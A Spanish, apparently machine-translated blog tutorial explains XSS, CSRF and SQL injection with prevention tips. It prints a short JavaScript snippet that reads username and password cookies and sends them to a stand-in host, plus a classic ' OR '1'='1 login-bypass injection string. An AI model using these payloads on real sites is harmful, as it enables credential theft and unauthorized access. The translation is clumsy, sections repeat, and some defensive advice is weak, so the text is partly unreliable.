Seguridad y protección web (XSS, CSRF, inyección SQL)

Principio de ataque XSS

El ataque xss (cross-site scripting) se refiere a que el atacante inserta etiquetas html maliciosas o código javascript en páginas web.

Por ejemplo:
①El atacante coloca un enlace aparentemente seguro en el foro para engañar al usuario para que haga clic y roba la información privada del usuario en la cookie;
②O el atacante agrega un formulario malicioso al foro, pero cuando el usuario envía el formulario, La información se envía al servidor del atacante en lugar del sitio de confianza que el usuario pensó originalmente.
Lo siguiente permite a los usuarios publicar comentarios
Inserte la descripción de la imagen aquí
porque confiamos plenamente en la entrada del usuario, pero algunos usuarios con motivos ocultos lo harán
Inserte la descripción de la imagen aquí

De esta manera, no importa quién visite esta página, la consola mostrará el mensaje "¡Oye, eres un pez tonto!". Si esto es solo una broma maliciosa, algunas personas hacen cosas que no son lindas y algunos usuarios usarán esta vulnerabilidad para robar usuarios. Información, engañar a las personas para que abran sitios web maliciosos o descarguen programas maliciosos, etc., mire el ejemplo más simple de
usar xss para robar nombres de usuario y contraseñas.
Por supuesto, este ejemplo es muy simple, casi ningún sitio web puede ser atacado, solo observe el principio. Sabemos que muchas interfaces de inicio de sesión tienen la función de recordar el nombre de usuario y la contraseña para facilitar que el usuario inicie sesión la próxima vez. Algunos sitios web registran directamente el nombre de usuario y la contraseña en texto sin formato. Una vez que los usuarios malintencionados inician sesión en la cuenta, utilice una herramienta sencilla para ver el nombre de la estructura de la cookie, si el sitio web Si existe una vulnerabilidad xss, simplemente puede usar jsonp para obtener el nombre de usuario y la contraseña de otros usuarios.

Un usuario malintencionado escribiría

Inserte la descripción de la imagen aquí

Veamos qué se esconde en http://test.com/hack.js

<pre style="margin: 0px; white-space: pre-wrap; overflow-wrap: break-word; padding: 0px; list-style-type: none; list-style-image: none; font-family: &quot;Courier New&quot; !important; font-size: 12px !important;">
var username=CookieHelper.getCookie('username').value; 
var password=CookieHelper.getCookie('password').value; 
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
</pre>

Unos pocos javascript simples, obtenga el nombre de usuario y la contraseña en la cookie, use jsonp para dirigirhttp://test.com/index.php

daño:

1. Robar información del usuario, como cuentas de inicio de sesión de máquinas, cuentas bancarias en línea de usuarios y varias cuentas de administrador

2. Controle los datos corporativos, incluida la capacidad de leer, manipular, agregar y eliminar datos corporativos confidenciales

3. Robo de datos importantes de valor comercial de la empresa

4. Transferencia ilegal

5. Forzar correo electrónico

7. Controle la máquina de la víctima para lanzar ataques a otros sitios web.

Método de prevención de ataques XSS

En primer lugar, los lugares de entrada del usuario y las variables en el código deben revisarse cuidadosamente para determinar su longitud y se filtran "<", ">", ";", "'" y otros caracteres; en
segundo lugar, cualquier contenido debe codificarse antes de escribirse en la página para evitar La etiqueta html se hizo accidentalmente. Si este nivel se hace bien, al menos más de la mitad de los ataques XSS se pueden bloquear.

Primero, evite filtrar la privacidad del usuario directamente en cookies, como correo electrónico, contraseña, etc.

En segundo lugar, vinculando la cookie a la ip del sistema para reducir el riesgo de fuga de cookies. De esta manera, la cookie obtenida por el atacante no tiene valor real y no se puede reproducir.

Intente usar POST en lugar de GET para enviar el formulario

Diferencia entre ataque XSS y ataque CSRF (falsificación de solicitud entre sitios)

XSS es obtener información sin conocer el código y el paquete de datos de otras páginas de usuario de antemano. CSRF debe completar la acción especificada en nombre del usuario y necesita conocer los códigos y paquetes de datos de otras páginas de usuario.

Para completar un ataque CSRF, la víctima debe completar dos pasos en secuencia:

Inicie sesión en el sitio web de confianza A y genere una cookie localmente.

Visite el peligroso sitio web B sin cerrar la sesión de A.

Ataque CSRF

Principio:
CSRF (Cross Site Request Forgery), es decir, la falsificación de solicitudes entre sitios, es un ataque web común. El usuario víctima del ataque CSRF inicia sesión en el sitio web A, ingresa información personal y guarda la cookie generada por el servidor localmente. Luego haga clic en el sitio web A y el atacante construirá un enlace malicioso para saltar al sitio web B, y luego la información de la cookie del usuario que lleva el sitio web B para visitar el sitio web B. Deja que un sitio web cree una falsa impresión de que el usuario visita por sí mismo, para poder realizar una serie de operaciones, la más común es la transferencia.

Ejemplos:
1. Un usuario del sitio web Bob puede estar navegando en un foro de chat mientras que otro usuario, Alice, también está en este foro, y este último acaba de publicar un mensaje con imagen con un enlace al banco de Bob. Imagine que Alice escribe un enlace para enviar un formulario de retiro en el sitio del banco de Bob y usa este enlace como imagen src. Si el banco de Bob guarda su información de autorización en una cookie, y la cookie no ha caducado, cuando el navegador de Bob intente cargar la imagen, enviará el formulario de retiro y su cookie, para que pueda autorizar sin el consentimiento de Bob. Esta transacción.

Daño:
una aplicación web que realiza ciertas acciones basadas en formularios de entrada confiables y usuarios autenticados que no necesitan autorización para ciertas acciones. El usuario que ha sido autenticado por la cookie almacenada en el navegador del usuario enviará una solicitud HTTP al sitio que confía en él sin saberlo, y luego realizará acciones que el usuario no desea realizar.

Prevención:

1. Código de verificación.
Durante la interacción entre la aplicación y el usuario, especialmente el paso principal de la transacción de la cuenta, el usuario se ve obligado a ingresar el código de verificación para completar la solicitud final. En circunstancias normales, el código de verificación es lo suficientemente bueno como para disuadir los
ataques CSRF. Pero agregar un código de verificación reduce la experiencia del usuario y el sitio web no puede agregar códigos de verificación a todas las operaciones. Por lo tanto, el código de verificación solo se puede utilizar como un medio auxiliar para establecer códigos de verificación en puntos comerciales clave.

2. Token Anti CSRF.
La solución actual más completa es agregar Anti-CSRF-Token, es decir,
agregar un token generado aleatoriamente como parámetro en la solicitud HTTP al enviar la solicitud , y establecer un interceptor en el servidor para verificar el token. El servidor lee el valor del token en la cookie del dominio actual del navegador y verifica
si el token en la solicitud y el valor del token en la cookie existen y son iguales, antes de considerar que se trata de una solicitud legítima.

Defensa CSRF

Hay muchas formas y métodos de CSRF en el lado del servidor, pero la idea general es la misma, que es agregar un número pseudoaleatorio en la página del cliente.

Cómo pasar el código de verificación

Ataque de inyección SQL

Principio:
inyección de SQL (SQL Injection), cuando la aplicación transmite el SQL(Structured Query Languagelenguaje de consulta estructurado a la base de datos de backend , el atacante inserta el comando SQL en el envío del formulario web o ingresa la cadena de consulta del nombre de dominio o solicitud de página, y finalmente engaña al servidor para que ejecute comandos SQL maliciosos .

Ejemplo:
el código de consulta SQL para la verificación de inicio de sesión de un determinado sitio web es:

strSQL = "SELECT * FROM users WHERE (name = '" + userName +"') and (pw = '"+ passWord +"');"
Cuando se completa maliciosamente
userName = "1' OR '1'='1";
y
passWord = "1' OR '1'='1";,
hará que se complete la cadena SQL original,
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
es decir, el comando SQL que se esté ejecutando se convertirá en el siguiente
strSQL = ``"SELECT * FROM users;"

Por lo tanto, puede iniciar sesión en el sitio web sin contraseña de cuenta. Por lo tanto, los ataques de inyección de SQL se conocen comúnmente como juegos de completar espacios en blanco de los piratas informáticos.

Daño:
obtenga derechos de administrador

Prevención:

1. Agregar verificación de lista negra o lista blanca La verificación de lista
blanca generalmente se refiere a verificar si la entrada del usuario cumple con el tipo, la longitud, el rango de valores u otros estándares de formato esperados. La verificación de la lista negra se refiere a rechazar la solicitud del usuario si la entrada del usuario contiene contenido malicioso obvio. Cuando se usa la verificación de lista blanca, generalmente coopera con la verificación de lista negra.

2. Inspección de seguridad
Cuando el proyecto esté terminado, insista siempre en la inspección de seguridad.

3. Evite la fuga
de información confidencial del sistema . Controle estrictamente los derechos de acceso de las tablas de datos y trate de limitar los derechos de acceso innecesarios de los usuarios.

para resumir:


El principio de la inyección SQL
es insertar el comando SQL en el formulario web para enviar o ingresar la cadena de consulta del nombre de dominio o solicitud de página para finalmente engañar al servidor para que ejecute comandos SQL maliciosos.

Prevención de inyección SQL

1. Nunca confíe en la entrada del usuario. Para verificar la entrada del usuario, puede utilizar expresiones regulares o limitar la longitud, convertir comillas simples y dobles "-", etc.

2. Nunca use SQL de ensamblaje dinámico, puede usar SQL parametrizado o usar directamente procedimientos almacenados para acceder a consultas de datos.

3. Nunca use una conexión de base de datos de administrador y use una conexión de base de datos separada con autoridad limitada para cada aplicación.

4. No almacene información confidencial en texto plano, cifre o elimine las contraseñas y la información confidencial.

El
ataque XSS Xss (cross-site scripting) se refiere a que el atacante inserta etiquetas html maliciosas o código javascript en una página web.
prevención xss

En primer lugar, los lugares de entrada del usuario y las variables en el código deben revisarse cuidadosamente para determinar su longitud y se filtran "<", ">", ";", "'" y otros caracteres; en
segundo lugar, cualquier contenido debe codificarse antes de escribirse en la página para evitar La etiqueta html se hizo accidentalmente. Si este nivel se hace bien, al menos más de la mitad de los ataques XSS se pueden bloquear.

Primero, evite filtrar la privacidad del usuario directamente en cookies, como correo electrónico, contraseña, etc.

En segundo lugar, vinculando la cookie a la ip del sistema para reducir el riesgo de fuga de cookies. De esta manera, la cookie obtenida por el atacante no tiene valor real y no se puede reproducir.

Intente usar POST en lugar de GET para enviar el formulario

CSRF

CSRF (Cross Site Request
Forgery), o la falsificación de solicitudes entre sitios, es un ataque web común. El usuario víctima del ataque CSRF inicia sesión en el sitio web A, ingresa información personal y guarda la cookie generada por el servidor localmente. Luego haga clic en el sitio web A y el atacante construirá un enlace malicioso para saltar al sitio web B, y luego la información de la cookie del usuario que lleva el sitio web B para visitar el sitio web B.

Defensa CSRF

Hay muchas formas y métodos de CSRF en el lado del servidor, pero la idea general es la misma, que es agregar un número pseudoaleatorio en la página del cliente.

Cómo pasar el código de verificación

Supongo que te gusta

Origin blog.csdn.net/weixin_43638968/article/details/109292659
Recomendado
Clasificación